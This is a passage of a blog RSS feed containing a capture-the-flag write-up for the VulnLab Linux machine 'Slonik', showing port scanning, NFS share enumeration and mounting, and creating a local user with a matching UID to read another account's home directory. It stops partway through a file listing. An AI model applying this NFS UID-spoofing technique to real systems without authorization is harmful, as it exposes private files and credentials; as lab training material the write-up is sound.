<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on Learning is a lifelong journey, best traveled with an open mind and a curious heart.</title>
        <link>https://www.nephos.guru/posts/</link>
        <description>Recent content in Posts on Learning is a lifelong journey, best traveled with an open mind and a curious heart.</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en</language>
        <copyright>&lt;a href=&#34;https://creativecommons.org/licenses/by-nc/4.0/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CC BY-NC 4.0&lt;/a&gt;</copyright>
        <lastBuildDate>Tue, 04 Feb 2025 17:09:09 +0800</lastBuildDate>
        <atom:link href="https://www.nephos.guru/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>VulnLab - Slonik</title>
            <link>https://www.nephos.guru/posts/2025/slonik/</link>
            <pubDate>Tue, 04 Feb 2025 17:09:09 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2025/slonik/</guid>
            <description>&lt;p&gt;&lt;img src=&#34;https://www.nephos.guru/assets/20250204144747.png&#34; alt=&#34;Slonik Image&#34;&gt;&lt;/p&gt;
&lt;p&gt;Slonik is a Medium level Linux machine from &lt;a href=&#34;https://www.vulnlab.com/&#34;&gt;VulnLab&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;We start by running &lt;code&gt;nmap&lt;/code&gt; to see what ports are open and then work through these logically.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT      STATE SERVICE  REASON         VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;22/tcp    open  ssh      syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;256&lt;/span&gt; 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;ECDSA&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCg2ZwoeeTHpT0NE9y1kgjXCoLjxWI1WocvyxcphoTOikVc/BKLBjSRv3k5cnDz1O5EodAsYYJipkYxKxNXLcPY&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;256&lt;/span&gt; 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;ED25519&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY88SdKd54ftUGvVdXkYtlmsHDrKGeGVgu6PykWXISO
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;111/tcp   open  rpcbind  syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; 2-4 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RPC &lt;span style=&#34;color:#75715e&#34;&gt;#100000)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| rpcinfo:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   program version    port/proto  service
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100000&lt;/span&gt;  2,3,4        111/tcp   rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100000&lt;/span&gt;  2,3,4        111/udp   rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100000&lt;/span&gt;  3,4          111/tcp6  rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100000&lt;/span&gt;  3,4          111/udp6  rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100003&lt;/span&gt;  3,4         2049/tcp   nfs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100003&lt;/span&gt;  3,4         2049/tcp6  nfs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100005&lt;/span&gt;  1,2,3      36917/tcp   mountd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100005&lt;/span&gt;  1,2,3      44438/udp6  mountd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100005&lt;/span&gt;  1,2,3      51292/udp   mountd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100005&lt;/span&gt;  1,2,3      56671/tcp6  mountd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100021&lt;/span&gt;  1,3,4      32859/tcp   nlockmgr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100021&lt;/span&gt;  1,3,4      43699/tcp6  nlockmgr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100021&lt;/span&gt;  1,3,4      56597/udp   nlockmgr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100021&lt;/span&gt;  1,3,4      58920/udp6  nlockmgr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100024&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;          34401/udp   status
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100024&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;          35531/tcp   status
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100024&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;          44069/tcp6  status
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100024&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;          55774/udp6  status
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   &lt;span style=&#34;color:#ae81ff&#34;&gt;100227&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;           2049/tcp   nfs_acl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  &lt;span style=&#34;color:#ae81ff&#34;&gt;100227&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;           2049/tcp6  nfs_acl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2049/tcp  open  nfs_acl  syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RPC &lt;span style=&#34;color:#75715e&#34;&gt;#100227)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;32859/tcp open  nlockmgr syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; 1-4 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RPC &lt;span style=&#34;color:#75715e&#34;&gt;#100021)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;35531/tcp open  status   syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RPC &lt;span style=&#34;color:#75715e&#34;&gt;#100024)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;36917/tcp open  mountd   syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; 1-3 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RPC &lt;span style=&#34;color:#75715e&#34;&gt;#100005)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;37743/tcp open  mountd   syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; 1-3 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RPC &lt;span style=&#34;color:#75715e&#34;&gt;#100005)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;58263/tcp open  mountd   syn-ack ttl &lt;span style=&#34;color:#ae81ff&#34;&gt;63&lt;/span&gt; 1-3 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;RPC &lt;span style=&#34;color:#75715e&#34;&gt;#100005)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ssh&#34;&gt;SSH&lt;/h3&gt;
&lt;p&gt;We check to see if password login is enabled and can confirm that it is.  We can come back and revisit this if we find some credentials later.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><img src="/assets/20250204144747.png" alt="Slonik Image"></p>
<p>Slonik is a Medium level Linux machine from <a href="https://www.vulnlab.com/">VulnLab</a></p>
<h2 id="enumeration">Enumeration</h2>
<p>We start by running <code>nmap</code> to see what ports are open and then work through these logically.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>PORT      STATE SERVICE  REASON         VERSION
</span></span><span style="display:flex;"><span>22/tcp    open  ssh      syn-ack ttl <span style="color:#ae81ff">63</span> OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCg2ZwoeeTHpT0NE9y1kgjXCoLjxWI1WocvyxcphoTOikVc/BKLBjSRv3k5cnDz1O5EodAsYYJipkYxKxNXLcPY<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY88SdKd54ftUGvVdXkYtlmsHDrKGeGVgu6PykWXISO
</span></span><span style="display:flex;"><span>111/tcp   open  rpcbind  syn-ack ttl <span style="color:#ae81ff">63</span> 2-4 <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100000)</span>
</span></span><span style="display:flex;"><span>| rpcinfo:
</span></span><span style="display:flex;"><span>|   program version    port/proto  service
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100000</span>  2,3,4        111/tcp   rpcbind
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100000</span>  2,3,4        111/udp   rpcbind
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100000</span>  3,4          111/tcp6  rpcbind
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100000</span>  3,4          111/udp6  rpcbind
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100003</span>  3,4         2049/tcp   nfs
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100003</span>  3,4         2049/tcp6  nfs
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100005</span>  1,2,3      36917/tcp   mountd
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100005</span>  1,2,3      44438/udp6  mountd
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100005</span>  1,2,3      51292/udp   mountd
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100005</span>  1,2,3      56671/tcp6  mountd
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100021</span>  1,3,4      32859/tcp   nlockmgr
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100021</span>  1,3,4      43699/tcp6  nlockmgr
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100021</span>  1,3,4      56597/udp   nlockmgr
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100021</span>  1,3,4      58920/udp6  nlockmgr
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100024</span>  <span style="color:#ae81ff">1</span>          34401/udp   status
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100024</span>  <span style="color:#ae81ff">1</span>          35531/tcp   status
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100024</span>  <span style="color:#ae81ff">1</span>          44069/tcp6  status
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100024</span>  <span style="color:#ae81ff">1</span>          55774/udp6  status
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100227</span>  <span style="color:#ae81ff">3</span>           2049/tcp   nfs_acl
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">100227</span>  <span style="color:#ae81ff">3</span>           2049/tcp6  nfs_acl
</span></span><span style="display:flex;"><span>2049/tcp  open  nfs_acl  syn-ack ttl <span style="color:#ae81ff">63</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100227)</span>
</span></span><span style="display:flex;"><span>32859/tcp open  nlockmgr syn-ack ttl <span style="color:#ae81ff">63</span> 1-4 <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100021)</span>
</span></span><span style="display:flex;"><span>35531/tcp open  status   syn-ack ttl <span style="color:#ae81ff">63</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100024)</span>
</span></span><span style="display:flex;"><span>36917/tcp open  mountd   syn-ack ttl <span style="color:#ae81ff">63</span> 1-3 <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100005)</span>
</span></span><span style="display:flex;"><span>37743/tcp open  mountd   syn-ack ttl <span style="color:#ae81ff">63</span> 1-3 <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100005)</span>
</span></span><span style="display:flex;"><span>58263/tcp open  mountd   syn-ack ttl <span style="color:#ae81ff">63</span> 1-3 <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100005)</span>
</span></span></code></pre></div><h3 id="ssh">SSH</h3>
<p>We check to see if password login is enabled and can confirm that it is.  We can come back and revisit this if we find some credentials later.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ ssh root@slonik.vl
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&amp;             @@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@   <span style="color:#75715e">############.    ############   ##########*  &amp;@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@  <span style="color:#75715e">###############  ###################  /##########  @@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@ <span style="color:#75715e">###############( #######################(  #########  @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@  <span style="color:#75715e">############### (#########################  ######### @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@ .##############  <span style="color:#75715e">###########################( #######  @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@  <span style="color:#75715e">############## (        ##############        ######  @@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@. <span style="color:#75715e">############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@ .############# /########  <span style="color:#75715e">########### *##### ###### @@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@. <span style="color:#75715e">############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@  <span style="color:#75715e">###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@ <span style="color:#f92672">(</span><span style="color:#75715e">##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@<span style="color:#f92672">(</span> <span style="color:#75715e">###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@  <span style="color:#75715e">############  ####  ###################    @@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@, <span style="color:#75715e">##########  @@@      ################            (@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@ .######  @@@@   <span style="color:#75715e">###  ##############  #######   @@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@<span style="color:#f92672">(</span>  *   @. <span style="color:#75715e">#######    ############## (@((&amp;@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&amp;@@@@  <span style="color:#75715e">#############( @@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  <span style="color:#75715e">#############  @@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ <span style="color:#75715e">############# ,@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ <span style="color:#75715e">############( @@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  <span style="color:#75715e">###########  @@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  <span style="color:#75715e">#######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@</span>
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&amp;   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>root@slonik.vl<span style="color:#f92672">)</span> Password:
</span></span></code></pre></div><h3 id="rpc">RPC</h3>
<p>The <code>nmap</code> scan and <code>rpcinfo slonik.vl</code> output show NFS services running, suggesting we can enumerate and mount NFS shares on this system.</p>
<h3 id="nfs">NFS</h3>
<p>Moving our focus to NFS, we are able to list shares</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ showmount -e $IP
</span></span><span style="display:flex;"><span>Export list <span style="color:#66d9ef">for</span> 10.10.70.64:
</span></span><span style="display:flex;"><span>/var/backups *
</span></span><span style="display:flex;"><span>/home        *
</span></span></code></pre></div><p>We have been able to mount both of those directories</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ sudo mount -t nfs $IP:/var/backups backups -o nolock
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>sudo<span style="color:#f92672">]</span> password <span style="color:#66d9ef">for</span> kali:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ ls backups
</span></span><span style="display:flex;"><span>.rw-r--r--@  31k root <span style="color:#ae81ff">24</span> Oct  <span style="color:#ae81ff">2023</span> apt.extended_states.0
</span></span><span style="display:flex;"><span>.rw-r--r--@ 4.7M root  <span style="color:#ae81ff">4</span> Feb 15:04 archive-2025-02-04T0704.zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ sudo mount -t nfs $IP:/home home -o nolock
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ ls home
</span></span><span style="display:flex;"><span>drwxr-x--- - <span style="color:#ae81ff">1337</span> <span style="color:#ae81ff">24</span> Oct  <span style="color:#ae81ff">2023</span> service
</span></span></code></pre></div><blockquote>
<p>The backup directory is creating a new file every 1 minute</p>
</blockquote>
<p>We notice that the <code>/home</code> share has ownership for user 1337, so we created a user account with the same UID <code>sudo useradd -u 1337 -M -s /bin/bash n3ph0s</code> and we have been able to access the share</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>n3ph0s@kali:/home/kali/Hacking/VulnLab/Slonik/home/service$ ls -laR
</span></span><span style="display:flex;"><span>.:
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">40</span>
</span></span><span style="display:flex;"><span>drwxr-x--- <span style="color:#ae81ff">5</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .
</span></span><span style="display:flex;"><span>drwxr-xr-x <span style="color:#ae81ff">3</span> root   root   <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> ..
</span></span><span style="display:flex;"><span>-rw-rw-r-- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s   <span style="color:#ae81ff">90</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s  <span style="color:#ae81ff">220</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .bash_logout
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s <span style="color:#ae81ff">3771</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .bashrc
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">2</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .cache
</span></span><span style="display:flex;"><span>drwxrwxr-x <span style="color:#ae81ff">3</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .local
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s  <span style="color:#ae81ff">807</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .profile
</span></span><span style="display:flex;"><span>-rw------- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s  <span style="color:#ae81ff">326</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .psql_history
</span></span><span style="display:flex;"><span>drwxrwxr-x <span style="color:#ae81ff">2</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .ssh
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.cache:
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">2</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .
</span></span><span style="display:flex;"><span>drwxr-x--- <span style="color:#ae81ff">5</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> ..
</span></span><span style="display:flex;"><span>-rw-r--r-- <span style="color:#ae81ff">1</span> n3ph0s n3ph0s    <span style="color:#ae81ff">0</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> motd.legal-displayed
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.local:
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">12</span>
</span></span><span style="display:flex;"><span>drwxrwxr-x <span style="color:#ae81ff">3</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .
</span></span><span style="display:flex;"><span>drwxr-x--- <span style="color:#ae81ff">5</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> ..
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">3</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> share
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.local/share:
</span></span><span style="display:flex;"><span>total <span style="color:#ae81ff">12</span>
</span></span><span style="display:flex;"><span>drwx------ <span style="color:#ae81ff">3</span> n3ph0s n3ph0s <span style="color:#ae81ff">4096</span> Oct <span style="color:#ae81ff">24</span>  <span style="color:#ae81ff">2023</span> .
